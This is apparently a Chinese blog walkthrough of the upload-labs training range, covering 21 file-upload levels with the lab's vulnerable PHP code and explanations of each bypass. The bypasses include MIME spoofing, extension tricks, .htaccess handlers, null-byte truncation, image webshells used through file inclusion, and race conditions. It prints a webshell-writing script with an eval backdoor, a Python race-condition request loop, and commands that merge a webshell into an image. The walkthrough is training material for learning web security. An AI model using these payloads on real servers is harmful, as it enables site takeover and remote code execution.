upload-labs-master
其他靶场见专栏…
文章目录
- upload-labs-master
- Pass-01-js前端校验
- Pass-02-MIME校验
- Pass-03-其他后缀绕过黑名单
- Pass-04-.hatccess绕过
- Pass-05-点空格点代码逻辑绕过
- Pass-06-大小写绕过
- Pass-07-空格绕过
- Pass-08-点号绕过
- Pass-09-::$DATA绕过
- Pass-10-点空格点代码逻辑绕过
- Pass-11-双写绕过
- Pass-12-Get型%00截断
- Pass-13-Post型%00截断
- Pass-14-图片木马与文件包含漏洞
- Pass-15-图片木马与文件包含漏洞
- Pass-16-图片木马与文件包含漏洞
- Pass-17-图片木马二次渲染
- Pass-18-删除操作条件竞争
- Pass-19-重命名操作条件竞争
- Pass-20-pathinfo()
- Pass-21-分段参数数组
由于upload-labs版本问题,可能有的题号对不上。
Pass-01-js前端校验
上传一个phpinfo()的php文件,点击上传发现抓包没有反应,但是网页上出现弹窗显示“该文件不允许上传,请上传jpgl、png、pngl、gif类型的文件,当前文件类型为php,所以猜测这是进行了js前端校验,js前端校验是可以人为控制的,可以在网页设置那里禁用js,也可以上传一个正常的文件,然后抓包修改。查看源代码:
function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }
前端代码中对上传文件的后缀进行了校验,所以只要绕过前端校验就行了。
Pass-02-MIME校验
上传一个phpinfo的php’文件,前端没有进行校验,点击上传提示”文件类型不正确,请重新上传“,查看源代码发现,后端对数据包的MIME进行检查,MIME是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。
服务端MIME类型检测是通过检查http中包含的Content-Type字段中的值来判断上传文件是否合法的。利用Burpsuite抓包,将报文中的Content-Type改成允许的类型
- Content-Type: image/gif(gif图像)
- Content-Type: image/jpg(jpg图像)
- Content-Type: image/png(png图像)
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } }
Pass-03-其他后缀绕过黑名单
这一关进行了后端黑名单认证,并且进行了一些点号空格等过滤,黑名单有一个坏处就是很难把所有的后缀包含进去,比如说php可以变为php2、php3等,大小写,双写啥的。查看源代码发现黑名单只有4个,所以我们可以使用其他的脚本后缀,比如说php5、php4、phtml等,其中这些后缀需要知道php版本和apache的配置,不是所有网站都可以的,需要在配置文件httpd.conf中需要有将AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht 这样的一段话前面的注释删除,重启phpstudy让其生效。(不知道这个文件的可以先看19关)
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
Pass-04-.hatccess绕过
这一关的黑名单是上一关的几倍,所以不能使用php5、phtml等绕过了,并且点号、空格、::DATA这些也实现不了,所以尝试一下.htaccess配置文件绕过,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空
<FilesMatch "x.png"> SetHandler application/x-httpd-php </FilesMatch>
这个
.htaccess
文件片段的作用是告诉Apache,当访问文件名为x.png
的文件时,将其当作PHP脚本来执行。上传一个.htaccess文件,之后上传一个x.png文件即可解析。
前提是配置环境:httpd.conf里面将AllowOverride置为All(默认为None),接着搜索mod_rewrite,将此模块前面的注释符删掉,重启。网上是这样教的,如果不行的话就是你的版本太高了,我一开始用的v8,后面换成了2016版的就可以了。注意别把htaccess文件弄成hatccess文件!
Pass-05-点空格点代码逻辑绕过
查看源代码发现,存在大小写转换函数,并且htaccess后缀被过滤了,所以我们要尝试从代码逻辑上考虑绕过。首先这一段代码,删除了文件名后面的点,接着.php.最后一个点作为后缀分隔符,即**$file_ext=.,之后将字母转化为小写,然后去除字符串::$DATA,最后首尾去空。所以我们可以构造x.php. .**(有一个空格),这样源代码中删除了一个点还剩下一个点和空格从而绕过黑名单。而且在window下,文件名会因为规范而忽略后面的内容。(不知道为啥apache版本高会出现上传出错,如果上传出错你可以在第一关试一下,再不行就装低版本的phpstudy)。
这是我echo file_ext的值(分割之后的),echo网上很多博主讲错了,他们把strrchr函数认为是从第一个符合条件的字符开始。
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
Pass-06-大小写绕过
这一关比较容易想得出来,因为它少了小写转换函数。本来想的是这里也可以使用点空格点进行绕过,但是发现不行,最后的文件名少了后缀,再分析一下源代码发现,它使用的是**$img_path = UPLOAD_PATH.‘/’.date(“YmdHis”).rand(1000,9999).$file_ext;**,这是没有php后缀的。
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
- 大小写绕过:
Pass-07-空格绕过
这一关少了去掉空格的函数,所以这一关很简单,同样也是利用window的文件后缀的规范性,抓包在文件后缀后面加个空格就行了,而且不像上一关使用点空格点这样php丢掉了…
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
最终echo $file_ext的值为:
Pass-08-点号绕过
在第一眼看这一份代码的时候好像是没啥思路的,这是因为我们认为strrchr就是用来过滤点的,但它其实是用来分割点的,对比之前的代码,这一关少了对末尾点的过滤,所以在进行strrchr时候得到的只是一个点号,直接就绕过黑名单了,并且文件名是使用分割前的,并不用随机数字。
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
Pass-09-::$DATA绕过
这一关查看源代码发现少了过滤::$DATA,但我并不知道这是啥,上网搜了一下:
在window下,如果文件名+
"::$DATA"
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名,他的目的就是不检查后缀名。所以我们添加这一个然后echo一下过程看看:$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
这里echo的是首尾去空之后的值,同样上传上去之后文件名会把后面的::$data省略掉。
Pass-10-点空格点代码逻辑绕过
这一关似曾相识,因为看到存储文件的命名方式,所以就想到使用点空格点来绕过黑名单检测了
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
Pass-11-双写绕过
这一关的代码和之前的有些不同,不能使用点、空格绕过之类的,因为它存在**$file_name = str_ireplace($deny_ext,“”, $file_name);**函数会将file_name里面出现在黑名单里面的字符去掉,可能会想到使用大小写绕过,但是这个函数是对大小写不敏感的。由于只进行了一次替换,所以我们可以进行双写绕过:
Pass-12-Get型%00截断
看到这一道题一开始没啥思路的,因为它使用的是白名单,一开始想的是使用双后缀,但是文件名是随机数,所以无效。后来发现源代码存在get参数,而get参数是save_path,这说明存储位置是可控的,那我把存储位置后面加个phpinfo.php%00,会怎么样?
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
由于php底层是由C语言写的,而C语言遇到空字符就认为字符串结束了,所以我们如果添加%00,php会认为字符串已经结束了。实验环境,php版本小于5.3,5.3也不行。magic_quote_gpc为off。
Pass-13-Post型%00截断
查看源代码和上一关差不多,但是获取Get参数变为获取Post参数而已,改包过程中有些不一样了:
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
首先先输入%00先然后选中,右键找到Convert selection->URL->URL-decode:
Pass-14-图片木马与文件包含漏洞
这一关已经很明确说了要使用图片木马,查看源码得知,这一关是检查文件头的,判断一个文件是什么不仅仅看文件后缀,还看文件头,我们可以通过构造图片木马使其有图片文件的文件头,也有木马文件。
JPEG (jpg),文件头:FFD8FF PNG (png),文件头:89504E47 GIF (gif),文件头:47494638 TIFF (tif),文件头:49492A00 Windows Bitmap (bmp),文件头:424D CAD (dwg),文件头:41433130 Adobe Photoshop (psd),文件头:38425053 Rich Text Format (rtf),文件头:7B5C727466 XML (xml),文件头:3C3F786D6C HTML (html),文件头:68746D6C3E
对于linux:cat pictures.jpg shell.php > shell.jpg 对于windows:copy pictures.jpg /b + shell.php /a shell.jpg
我直接上传却失败了,但不知道什么原因,所以我查看它的每一个字节,将一句话木马插入到\0里面:
接着使用文件包含漏洞,查看网站源代码,发现include.php:
<?php /* 本页面存在文件包含漏洞,用于测试图片马是否能正常运行! */ header("Content-Type:text/html;charset=utf-8"); $file = $_GET['file']; if(isset($file)){ include $file; }else{ show_source(__file__); } ?>
接着使用蚁剑:
URL地址:http://192.168.255.128/upload-labs-master/include.php?file=upload/8120240305150003.jpg
Pass-15-图片木马与文件包含漏洞
这一关和上一关一样的,只不过使用的函数不一样而已:
function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } }
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。 如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 false 并产生一条 E_WARNING 级的错误。
还是使用上一关的方法,这里就不多解释了。
Pass-16-图片木马与文件包含漏洞
这一关又换了一个检测文件的函数,exif_imagetype() 读取一个图像的第一个字节并检查其签名。
还是使用第十四关的方法就可以了,至于这两个函数有什么细节实在找不到。
Pass-17-图片木马二次渲染
这一关代码很长,但可以看作三个一样的部分,上传之前的图片马,发现确实可以上传但是连接不上,所以下载下来用十六进制打开,发现一句话木马没了,查询资料知道二次渲染会导致一些没用的信息给替换或者去掉,可以查看这一篇文章对于二次渲染绕过挺详细的,这里就用里面最简单的gif文件二次渲染绕过试一下。
以下是我用winhex打开的两张图片,可以看到,28709.gif(我上传的)与1.gif(我原来的)有些不一样:
可以看到有一些位置是不一样的,但是也有一样的,二次渲染的原理就是在一样的地方添加代码,尝试一下:
可见这一块并没有被渲染,并且用蚁剑利用文件包含是可以连接成功的
Pass-18-删除操作条件竞争
这一关的提示是代码审计
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }
如果看代码的作用的话确实没啥漏洞的,但是在看代码逻辑上,确实先保存文件到服务器再进行白名单校验,如果不通过就删除文件。网上搜了一下,unlink()函数还是可以删除已经打开的脚本文件,但是如果连接上了,也会被删除。所以我们上传的脚本文件不是一个一句话木马这样简单,我们需要通过上传的脚本文件,再建立一个脚本文件。
<?php $new_file_name = "shell.php"; $shell_content = '<?php @eval($_POST[\'x\']);?>'; if (file_put_contents($new_file_name, $shell_content) != false) { echo "Shell文件创建成功"; } else { echo "创建Shell文件失败"; } ?>
我们用burpsuite截获数据包并且发送到intruder模块,使用python的requests库构造请求试一下:
import requests import time url = "http://192.168.255.128/upload-labs-master/upload/build_shell.php" rate = 5 duration = 6000 interval = 1 / rate start_time = time.time() print("action...") while time.time() - start_time < duration: try: response = requests.get(url) if response.status_code == 200: print("success!!!!!!!") break else: print(response.status_code, end='') time.sleep(interval) except requests.RequestException as e: print("Error: " + str(e)) break
试了很久才出来,但原理是在那的,其实把存入数据库和检查白名单之间加个sleep()函数其实明显一点。
Pass-19-重命名操作条件竞争
这一关比较复杂吧,学了一下这一关的知识点,现在来总结一下。
首先先来看两个文件:mime.types和http.conf文件。
- mime.types文件包含文件扩展名与MIME类型之间的映射关系,这些映射告诉Apache服务器如何处理不同类型的文件。这种映射通常用于指定浏览器如何显示文件。例如mime.types文件中有image/jpeg–jpg的映射时,那么服务器收到一个以.jpg结尾的文件请求时,它会把文件的内容和类型发送给浏览器,浏览器会根据Content-Type显示内容。
- http.conf文件:这个文件要了解的是两个指令AddHandler和AddType指令。AddHandler指令将文件扩展名映射到指令的处理程序,告诉服务器如何处理文件类型,优先于mime.types文件的映射,例如使用AddHanlder application/x-httpd-php .phtml指令,只要文件名包含这个后缀就会将其交给php解析模块执行,无论mime.types文件是否有映射。而AddType指令弱一点,mime.types优先于AddType指令。
两个文件的联系:Apache默认支持多个文件后缀名,可以搜一下Apache文件解析漏洞。当一个文件名有多个点分割的后缀时,Apache会从最右开始识别,如果遇到无法识别的后缀名就从右向左依次识别,如果上传了一个shell.php.jpg文件,而mime.types文件和httpd.conf文件没有对于jpg后缀的解析,则可能执行文件中的恶意代码。
演示的话看这一篇博客吧,文件上传upload-labs 第19关 Apache解析漏洞配合条件竞争。
我在我的mime.types文件上没有找到我的7z的映射(有zip映射),同时将httpd.conf的AddType application/x-httpd-php .php .phtml注释去掉了,重启apache服务,创建一个一句话木马以.php.7z结尾,使用蚁剑连接是可以连接上的:
按照mime.types和这两个指令的关系进行测试也是能达到预期的结果,这里就不往下写了,上面的那一片博客有演示。
所以利用这个解析漏洞我们就可以访问到我们上传的脚本文件,回到这一道题,先来看看它的源代码,看的会很晕总结下来就是
- 判断这个文件是否已经被上传到服务器的临时目录。
- 设置上传的目标目录,并检查这个目标目录是否有可写权限。
- 白名单判断,大小限制判断,相同名称判断。
- 文件移动到目标路径。
- 根据时间函数重命名。
我们利用的条件竞争就是移动和重命名这两个过程,因为它重命名不是删除,所以让它重命名失败就行了,至于如何做?因为它的随机函数是按时间来的,而时间函数有个精度,这个函数不详细讲了,简单来说就是极短时间间隔下会产生相同的时间随机数。如果第一个文件上传了并且也重命名了,同时第二个文件在第一个文件发送之后立刻发送,时间函数由于精度产生相同的时间随机数,在重命名的过程之中就会因为重复名称而失败,这个文件不会被删除!这样利用文件解析漏洞就可以构造我们的webshell。
我们使用burpsuite的intruder模块将shell.php.7z(7z是白名单并且mime.types没有解析它的映射)发送,假设发了50个包,会发现目标服务器中就几个新的文件。但是并没有重命名失败的文件啊!!!分析过程,假设第二个是重命名失败的,这时第三个文件发送过来,第三个文件会覆盖第二个文件(原始名称一样),但是时间随机数在一段极短间隔后变化了,第三个就会被重命名。所以总结出!!!重命名失败的文件最好是最后一个发送过来的文件,所以使用Repeater模块(当然intruder也可以),点击三四下够了。
这一道题没有图,图片解释不了什么,过程已经很清楚了。
Pass-20-pathinfo()
这一关学了一个新函数pathinfo(),它有两个参数,一个是文件路径,一个是选项,返回一个关联数组。它包含5个选项:
- PATHINFO_DIRNAME:返回目录名
- PATHINFO_BASENAME:返回基本文件名,不包括目录名和扩展名
- PATHINFO_EXTENSION:返回扩展名,不包括斜杠和反斜杠,从最后一个点号开始查找
- PATHINFO_FILENAME:返回文件名,不包括目录名和斜杠
- PATHINFO_ALL:默认参数,返回全部
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
PATHINFO_EXTENSION常量表示识别任何有效的拓展名,如果拓展名有斜杠 / 或者 \ 就忽略,返回文件名最后一个点号后面的字符串作为拓展名。如果遇到最后一个点号后面没有拓展名或者拓展名无效就返回为空。
如果服务器是在windows则可以利用windows对于文件扩展名的规范性来实现,比如点,点空格点,::$DATA等。
如果是linux,在php版本低于5.3可以使用可以使用%00截断(其实windows也可以),linux使用x.php/.
我的是windows:
使用蚁剑,连接成功。
Pass-21-分段参数数组
这一关其实我很懵逼…
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; }
先说一下这份代码做啥用的:
- 首先进行Content-Type字段检查。
- 接着检查文件名,如果自定义文件名不存在则使用上传文件原来的名字。
- 默认自定义文件名存在,判断是否为数组,不是的话按照点号分割开,成为数组。
- 取数组的最后一个元素为后缀进行白名单校验。
- 校验成功,取数组第一个元素与后缀拼接,保存。
这里的漏洞就是判断是否为数组,其实上传的数据报里的数据也可以是一个数组,之前没有见过,下面是答案:
其中我们上传的save_name就是一个数组,这时候就不会被截断了。